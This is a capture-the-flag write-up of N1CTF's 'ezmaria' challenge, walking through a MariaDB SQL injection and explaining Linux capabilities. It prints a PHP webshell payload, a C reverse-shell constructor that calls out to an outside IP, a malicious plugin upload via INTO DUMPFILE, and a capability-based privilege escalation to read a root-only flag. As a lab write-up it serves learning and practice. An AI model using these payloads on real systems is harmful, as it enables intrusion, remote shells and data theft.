This weekend I participated in N1CTF. Challenges were quite hard, and other than give-away questions, I only managed to get one: ezmaria. Despite that, I still ended up in 35th place, which I think is a testament to how challenging some of these problems were. Certainly an improvement from 2021 where I came 98th. Maybe next year I'll be able to solve a problem that doesn't have "ez" in the name.
The problem
We are given a website with a clear SQL injection. It takes an id parameter, does a query, and outputs the result.
First things first, lets see what we are dealing with: 0 UNION ALL select 1, version(); reveals that this is 10.5.19-MariaDB+deb11u2. A bit of an old version, but i didn't see any immediately useful CVEs. (MariaDB is a fork of MySQL so the name "mysql" still appears all over the place even though this is MariaDB and not MySQL)
The contest organizers provided a hint: "get shell and run getcap", so presumably the flag is not in the database. Nonetheless, i did poke around information_schema to check what was in the database. There was a fake flag but no real ones.
The text of the website strongly implied that it was written in PHP, so continuing on the trend of ruling out the easy things, I tried the traditional 0 UNION ALL select 1, "<?php passthru( $_REQUEST['c'] ); ?>" INTO OUTFILE "/var/www/html/foo.php";
This gave an error message. It appears that OUTFILE triggered some sort of filter. Trying again with DUMPFILE instead bypasses the filter. However instead MariaDB gives us an error message about file system permissions. No dice. It is interesting though that I got far enough for it to be a filesystem permission error. This implies that our MariaDB user has FILE or SUPER permissions and that secure_file_priv is disabled.
The next obvious step is to try and learn a little bit more about the environment. MariaDB supports a LOAD_FILE to read files. First I tried to read environment variables out of /proc, but that didn't work. The next obvious thing was to fetch the source code of the script generating this page. Since it is implied php, /var/www/html/index.php is a good guess for the path: 0 UNION ALL SELECT load_file( "/var/www/html/index.php" ),1
Index.php
Finally a step forward. This returned the php script in question, which had several interesting things in it.
First off
$servername = "127.0.0.1";
$username = "root";
$password = "123456";
$conn = new mysqli($servername, $username, $password, $dbn);
Always good to know the DB credentials. While not critical, they do become somewhat useful later. Additionally, the fact we are running as the root database user opens up several avenues of attack I wouldn't otherwise have.
// avoid attack
if (preg_match("/(master|change|outfile|slave|start|status|insert|delete|drop|execute|function|return|alter|global|immediate)/is", $_REQUEST["id"])){
die("你就不能绕一下喵");
}
Good to know what is and isn't being filtered if I need to evade the filter later, although to be honest this didn't really come up when solving the problem.
$result = $conn->multi_query($cmd);
This is really interesting. Normally in PHP when using mysqli, you would use $conn->query(), not ->multi_query(). Multi_query supports stacked queries, which means I am not just limited to UNION ALL-ing things, but can use a semi-colon to add additional full queries including verbs other than SELECT.
The script unfortunately will not output the results or errors of these other stacked queries only the first query, which significantly slowed down solving this problem, but more on that later.
Last of all, is the secret command:
//for n1ctf ezmariadb secret cmd
if ($_REQUEST["secret"] === "lolita_love_you_forever"){
header("Content-Type: text/plain");
echo "\\n\\n`ps -ef` result\\n\\n";
system("ps -ef");
echo "\\n\\n`ls -l /` result\\n\\n";
system("ls -l /");
echo "\\n\\n`ls -l /var/www/html/` result\\n\\n";
system("ls -l /var/www/html/");
echo "\\n\\n`find /mysql` result\\n\\n";
system("find /mysql");
die("can you get shell?");
}
While that looks promising, lets do it!
The secret command
For space, I am going to omit some of the less important parts:
`ps -ef` result
UID PID PPID C STIME TTY TIME CMD
[..]
root 15 13 0 14:06 ? 00:00:00 su mysql -c mariadbd --skip-grant-tables --secure-file-priv='' --datadir=/mysql/data --plugin_dir=/mysql/plugin --user=mysql
mysql 20 15 0 14:06 ? 00:00:00 mariadbd --skip-grant-tables --secure-file-priv= --datadir=/mysql/data --plugin_dir=/mysql/plugin --user=mysql
[..]
`ls -l /` result
total 96
[..]
-rw------- 1 root root 32 Oct 22 14:06 flag
-rwxr-xr-x 1 root root 84 Sep 18 06:10 flag.sh
drwxr-xr-x 1 mysql mysql 4096 Oct 17 22:35 mysql
-rwx------ 1 root root 160 Oct 17 22:35 mysql.sh
[..]
`find /mysql` result
/mysql
/mysql/plugin
/mysql/data
/mysql/data/ibtmp1
[..]
can you get shell?
So some interesting things here.
Presumably the only-root-readable flag file is our target. MariaDB is running as "mysql", thus would not be able to read it. However a hint was given out to run getcap, so presumably capabilities are in play somehow. However this output does not give us any indication as to how, so I guess we'll have to figure that out later.
I was immediately curious about the flag.sh file, but it turns out to be just a script that creates the flag file and removes the flag from the environment variables.
An interesting thing to note here, is that mariadbd is run with some non-standard options --skip-grant-tables --secure-file-priv= --datadir=/mysql/data --plugin_dir=/mysql/plugin. We already discovered that secure-file-priv had been disabled, but it seems especially interesting when combined with setting the plugin_dir to a non-standard location that appears to be writable by mariadb. --skip-grant-tables means that MariaDB does not get user information from the internal "mysql" database. Normally in MariaDB there is a special database named mysql that stores internal information including what rights various users have - this option says not to use that database for user rights. The impact of this will become more clear later.
We are asked "can you get shell?", and it seems like that is a natural place to focus next.
MariaDB plugins
Setting the plugin directory to a non-standard writable directory is a pretty big hint that plugins are in play, so how do plugins work in MariaDB?
There's a variety of plugin types in MariaDB that do different things. They can add new authentication methods, new SQL functions, change the way the server operates, etc. There's also a concept of server-side vs client-side plugins. A client-side plugin is used with custom authentication schemes from programs like the mariadb command line client. Generally plugins are dynamically loaded compiled shared object (.so or .dll) files
For server side plugins, they can be enabled in config files, or dynamically via the INSTALL PLUGIN plugin_name SONAME "libwhatever.so"; SQL command. MariaDB then uses dlopen() to load the specified so file.
With all that in mind, a plan forms for how to get shell. It is still unclear where to go from there, since our shell will be running as the mysql user which won't be able to read the flag. The hope is that once we have a shell we can investigate the server more thoroughly and find some way to escalate privileges. In any case, the plan is: Write a plugin that spawns a reverse shell, upload the plugin via the SQL injection using INTO DUMPFILE, enable the plugin and catch the shell with netcat.
Writing a plugin
MariaDB already comes with a lot of plugins, so instead of writing one from scratch I decided to just modify an existing one.
I could implement the needed commands in the plugin initialization function, the way a proper plugin would, but it seemed easier to just add a constructor function. This will get executed as soon as MariaDB calls dlopen(), so even if something is wrong with the plugin and MariaDB refuses to load it - as long as it can be linked in, my code will still run.
With that in mind, I added the following to the middle of plugin/daemon_example/daemon_example.cc:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
__attribute__((constructor))
void shell(void){
if (!fork() ) {
int port = 8080;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("167.172.208.75");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, {NULL} );
}
}
The __attribute__((constructor)) tells gcc that this function should run immediately upon dlopen(). It then opens a connection to 167.172.208.75 (my IP address) on port 8080, connecting stdin, stdout, and stderr to the opened socket, and executing /bin/sh thus making a remotely accessible shell. On my own computer I will be running nc -v -l -p 8080 waiting for the connection. Once it connects I will have a shell to the remote server.
I run cmake and make and wait for things to compile. Eventually they do, and we have a nice shiny libdaemon_example.so.
Installing the plugin
I convert this to base64, and prepare in a file named data containing: 0 UNION ALL SELECT from_base64( "...libdaemon_example.so as base64" ) INTO DUMPFILE "/mysql/plugin/libdaemon_example.so"; and upload it via curl 'http://urlOfChallenge' --data-urlencode id@data.
We can confirm it got there safely, by doing a query: 0 UNION ALL md5(load_file( "/mysql/plugin/libdaemon_example.so" ) ); and verifying the hash matches.
The hashes match, so its time to put this into action. I give the SQL: 0; INSTALL PLUGIN daemon_example SONAME "libdaemon_example.so";
And wait in eager anticipation for netcat to report a connection, but the connection never comes.
----
This is where things would be much simpler if our sql injection actually reported errors from stacked queries. Without that we just have to guess what went wrong, and guess I did. Figuring out why it didn't work took hours.
Initially when testing locally it worked totally fine, using the same version of MariaDB with the same options. I even tried on a different version of MariaDB I had installed, where MariaDB refused to load the plugin due to an API mismatch, but nonetheless my code still ran because it was in a constructor function.
After bashing my head against it for several hours,I eventually noticed that my file structure looked different than what it did on the server. On my local computer there was a "mysql" database (In the sense of a collection of tables, not in the sense of the program), where the server only had the ctf and information_schema databases. When compiling mariadb locally, I had run an install script that had created the mysql database automatically.
Getting rid of the mysql database, I was able to reproduce the problem locally, and got a helpful error message. Turns out, INSTALL PLUGIN uses the mysql.plugins table internally and refuses to run if it isn't present. I dug around the MariaDB sources, and found scripts/mysql_system_tables.sql which had a definition for this table.
This also explains why the --skip-grants-table option was set. MariaDB will abort if the mysql.global_priv table is not present without this option. Hence the option is needed for MariaDB to even run in this setup.
With that in mind, i gave the following commands to the server to create the missing plugins table:
0;
CREATE database mysql;
USE mysql;
CREATE TABLE IF NOT EXISTS plugin ( name varchar(64) DEFAULT '' NOT NULL, dl varchar(128) DEFAULT '' NOT NULL, PRIMARY KEY (name) ) engine=Aria transactional=1 CHARACTER SET utf8 COLLATE utf8_general_ci comment='MySQL plugins';
Now with the mysql.plugin existing, lets try this again:
0; INSTALL PLUGIN daemon_example SONAME "libdaemon_example.so";
I then look over to my netcat listener:
Listening on 0.0.0.0 8080
Connection received on 116.62.19.175 26740
pwd
/mysql/data
We have shell!
Exploring the system
Alright, we're in. Now what?
The contest organizers gave a hint saying to run getcap, so that seems like a good place to start:
getcap -r / 2> /dev/null
/usr/bin/mariadb cap_setfcap+ep
Well that is something. Apparently the MariaDB command line client (not the server) has the setfcap capability set.
What are capabilities anyhow?
While I have certainly heard of linux capabilities before, I must admit I wasn't very familiar with them. So what are they?
Capabilities are basically a fine-grained version of "root". Each process (thread technically) has a certain set of capabilities, which grant it rights it wouldn't normally otherwise have.
For example, if you are running a web server that needs to listen on port 80, instead of giving it full root rights, you could give the process CAP_NET_BIND_SERVICE capabilities, which allows it to bind to port 80 even if it is not root. Traditionally you need root to bind to any port below 1024.
There are a variety of capabilities that divide up the traditional things that root gives you, e.g. CAP_CHOWN to change file owners or CAP_KILL to send signals and so.
Sounds simple enough, but the rules on how capabilities are transferred between processes are actually quite complex. Personally I found most of the docs online a bit confusing, so here is my attempt at explaining:
Essentially, each running thread has 5 sets of capabilities, and each executable program has 2 sets + 1 special bit in the filesystem. What capabilities a new process will actually have and which ones are turned on is the result of the interplay between all these different sets.
The different capabilities associated with a thread are as follows (You can view the values for a specific running process in /proc/XXX/status):
- Effective: These are the capabilities that are actually currently used for the thread when doing permission checks. You can think of these as the capabilities that are currently "on".
- Permitted: These are the capabilities that the thread can give itself. In essence, these are the capabilities that the thread can turn on, but may or may not currently be "on" (effective). If a capability is in this set but not the effective set, it won't be used for permission checks at present but a thread is capable of enabling it for permission checks later on with cap_set_proc().
- Inheritable: These are the capabilities that can potentially be inherited by new processes after doing execve. However the new process will only get these capabilities if the file being executed has also been marked as inheriting the same capability.
- Ambient: This is like a super-version of inheritable. These capabilities will always be given to child processes after execve even if the program is not explicitly marked as being able to inherit them. It will inherit them into both its effective set and its permitted set, so they become "on" by default.
- Bounding: This is more like a max limit. Anything not in this list can be never given out or gained. In a normal system, you probably have all capabilities in this set, but if you wanted to setup a restricted system some capabilities might be removed from here to ensure it is impossible to ever gain them back.
In addition to threads having capabilities, executable files on the file system also can have capabilities. This is somewhat akin to how SUID works (although unlike SUID this is not marked in the output of ls in any way). Files have 2 sets of capabilities and 1 special flag. These can be viewed using getcap:
- Permitted: These are the capabilities that the executable will get when being executed. The process will get all of these capabilities (except those missing from the bounding set) even if the parent process does not have these capabilities. Its important to remember that the file permitted set is a different concept from the permitted set of a running process.
- Inheritable: These are the capabilities the executable will get if the running parent process also has them in its inheritable set.
- Effective flag: This is just a flag not a set of capabilities. This controls how the new process will gain capabilities. If it is off, then the new capabilities will go in the thread's permitted set and won't automatically be enabled until the thread itself enables them by adding to its own effective set. If this flag is on, then the new capabilities for the thread go in the thread's effective set automatically (i.e. they start in an "on" state).
Generally capabilities for files are displayed as capability_name=eip where e, i and p, denote what file set the capability is in (e is a flag so has to be on for all or none of the capabilities).
To summarize file system capabilities: "permitted" are the capabilities the process automatically gets when started regardless of parent process, "inherited" are the ones that they can potentially gain from the parent process but generally won't get if the parent process doesn't have them as inheritable, and effective controls if the capabilities are on by default or if the process has to make a syscall before they become turned on.
This is a bit complex, so lets consider an example:
Consider an executable file named foo that has cap_chown in its (filesystem) inherited set and cap_kill in its (filesystem) permitted set.
sudo setcap cap_chown=+i\ cap_kill=+p ./foo
This means when we execute it, the foo process will definitely have cap_chown in its permitted set regardless (As long as it is in the bounding set of the parent process). It might have cap_kill in its permitted set, but only if the parent process had cap_kill in its inheritable set. However its effective set will be empty (assuming no ambient capabilities are in play) until foo calls cap_set_proc(). If instead the e flag was set, then these capabilities would immediately be in the effective set without having to call cap_set_proc. Regardless if the foo process execve's some other child process where the file being executed is not marked as having any capabilities, the child would not inherit any of these capabilities foo has.
I've simplified this somewhat, see capabilities(7) man page for the full details.
MariaDB's capabilities
With that in mind, lets get back the problem at hand.
/usr/bin/mariadb cap_setfcap+ep
So MariaDB client has the setfcap capability. It is marked effective and permitted, which means the process will always get it and have it turned on by default when executed.
What is cap_setfcap? According to the manual, it allows the process to "Set arbitrary capabilities on a file."
Alright, that sounds useful. We want to read /flag despite not having permission to, so we can get mariadb with its CAP_SETFCAP capability to give another executable CAP_DAC_OVERRIDE capability. CAP_DAC_OVERRIDE means ignore file permissions, which would allow us to read any file.
My initial thought was to use the
\! operator in the mariadb client, which lets you run shell commands, to run
setcap(8). However it quickly became obvious that this wouldn't work. Since these permissions are only in the permitted & effective sets, they are not going to be inherited by the shell. Even if they were in the inheritable set, the shell would also have to have its executable marked as inheriting them in order for them to get inherited. Thus any subshell we make is unprivileged.
We need mariadb to execute our commands inside its process without running execve. The moment we execve we lose these capabilities.
Luckily, we can basically use the same trick as last time. In addition to mariadbd server supporting plugins, mariadb client also supports plugins. These are used for supporting custom authentication methods.
In MariaDB users can be authenticated via plugins. These server side authentication plugins can also have a client side requirement. If you try and log in as a user marked as using one of these plugins, the MariaDB client will automatically try and load (dlopen()) the relevant plugin when you try and log in as that user.
I again modified an existing one instead of trying to make my own. I decided to go with the dialog_example plugin from the MariaDB source code.
The server side part of this is from plugin/auth_examples/dialog_examples.c. The only change i made was to switch mysql_declare_plugin(dialog) to maria_declare_plugin(dialog) and set the stability to MariaDB_PLUGIN_MATURITY_STABLE (previously was 0). This was needed for mariadb to load the plugin in the default configuration. For clarity sake, although the name of the file is dialog_examples, the plugin's actual name is "two_questions".
After compiling, this generated a dialog_examples.so file which I uploaded to the server in the same fashion as before.
The client side part of the plugin is from libmariadb/plugins/auth/dialog.c. I added the following code:
#include <sys/capability.h>
#define handle_error(msg) \
do { perror(msg); } while (0)
__attribute__((constructor))
void foo(void) {
cap_t cap = cap_from_text( "cap_dac_override=epi" );
if (cap == NULL) handle_error( "cap_from_text" );
int res = cap_set_file( "/mysql/priv", cap );
if (res != 0 ) handle_error( "cap_set_file" );
}
I also modified libmariadb/plugins/auth/CMakeLists.txt to add LIBRARIES cap to the REGISTER_PLUGIN directive to ensure it is linked with libcap.
This code esentially says, when the plugin is loaded, change the file capabilities of /mysql/priv to be cap_dac_override=epi (The i is probably unnecessary) thus allowing that program to read all files.
Compiling this made libmariadb/dialog.so which I uploaded to the server in the usual fashion. I also ran cp /bin/cat /mysql/priv to create the target for our plugin's capability modifications.
Setting things up to run the plugin
Now that these pieces are in place, we still have to convince the mariadb client to run our plugin. This comes down to trying to login to a mariadb server that needs the dialog/two_questions authorization method.
Normally this would be pretty easy, just run CREATE USER. However, that uses the grant table which is explicitly disabled.
At first I thought I was going to need to somehow get rid of this option on the server (Or i suppose just use a server on a different host. I didn't think of that at the time, but it probably would have been simpler). However, it turns out, even if the server starts without the grants table enabled you can enable it after the fact by running FLUSH PRIVILEGES.
Of course, these tables don't even exist, and the normal methods of adding entries (CREATE USER command) won't work until they do. Thus we have to manually create the table ourselves and make appropriate entries.
I log in using the mariadb command line client from the shell, as this is a lot easier than the sql-injection, and run the following commands to set this all up:
$ mariadb -u root -h 127.0.0.1 -p123456 -n
use mysql;
source /usr/share/mysql/mysql_system_tables.sql; -- install defaults for mysql db
INSTALL PLUGIN two_questions SONAME "dialog_examples.so";
INSERT INTO `global_priv` VALUES ('%','foo','{\"access\":1073741823,\"version_id\":100521,\"plugin\":\"two_questions\",\"authentication_string\":\"*00A51F3F48415C7D4E8908980D443C29C69B60C9\",\"password_last_changed\":1698000149}' );
INSERT INTO `global_priv` VALUES ('%','root','{\"access\":1073741823,\"version_id\":100521,\"plugin\":\"mysql_native_password\",\"authentication_string\":\"**6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9\",\"password_last_changed\":1698000149}' );
FLUSH PRIVILEGES;
In summary - I use the -n option to ensure mariadb flushes output since we don't have a pseudo-terminal, output will show up way too late if we don't do this.
I switch to the special mysql database which we created earlier. I already created the plugin table, but now I use SOURCE to create the other defaults for the mysql database. The mysql_system_tables.sql file was already present on the server. Then we insert a root user so we don't lose access, along with a foo user that uses our plugin.
Once we run FLUSH PRIVILEGES the new permissions take affect.
We now exit this and try logging in as foo, being sure to specify the appropriate plugin directory:
mysql -u foo2 -h 127.0.0.1 -n --plugin-dir=./plugin
The login doesn't work, but the plugin seems to have been executed. We had previously copied cat to /mysql/priv. If everything worked right, it should now be able to read any file on the system regardless of permissions:
/mysq/priv /flag
n1ctf{9a81f84cc7a3064e34800c35}
Success!
Conclusion
This was a fun problem. It taught me some of the internals of mysql and was a good excuse to finally commit the time to understanding how linux capabilities actually work.
The biggest challenge was figuring out the mysql.plugins table was needed to load a plugin. It probably would have been a lot less frustrating of a problem if error messages from stacked queries were actually output.
Nobody solved this problem until fairly late in the competition, but then about 8 teams did. The ctf organizers did release a hint that capabilities were involved. I wonder if many teams just didn't think to check for that as giving mariadb random capabilities it can't even use is not something that is likely to happen in real life, and capabilities are much less famous than SUID binaries.
Perhaps teams didn't get that far and simply saw from the output of the "secret" website command that some sort of unknown privilege escalation was necessary, figuring it might be some really involved thing and decided to work on other problems instead. In a way I'm kind of surprised that getcap wasn't output from the secret command to give people more of a direct hint - other more obvious things were after all. For that matter, it is kind of weird how ls doesn't mark files with capabilities in any special way like a SUID binary would be. I know its not stored in the traditional file mode, but nonetheless I found it a little surprising how hidden from traditional cli tools it is that capabilities are in play.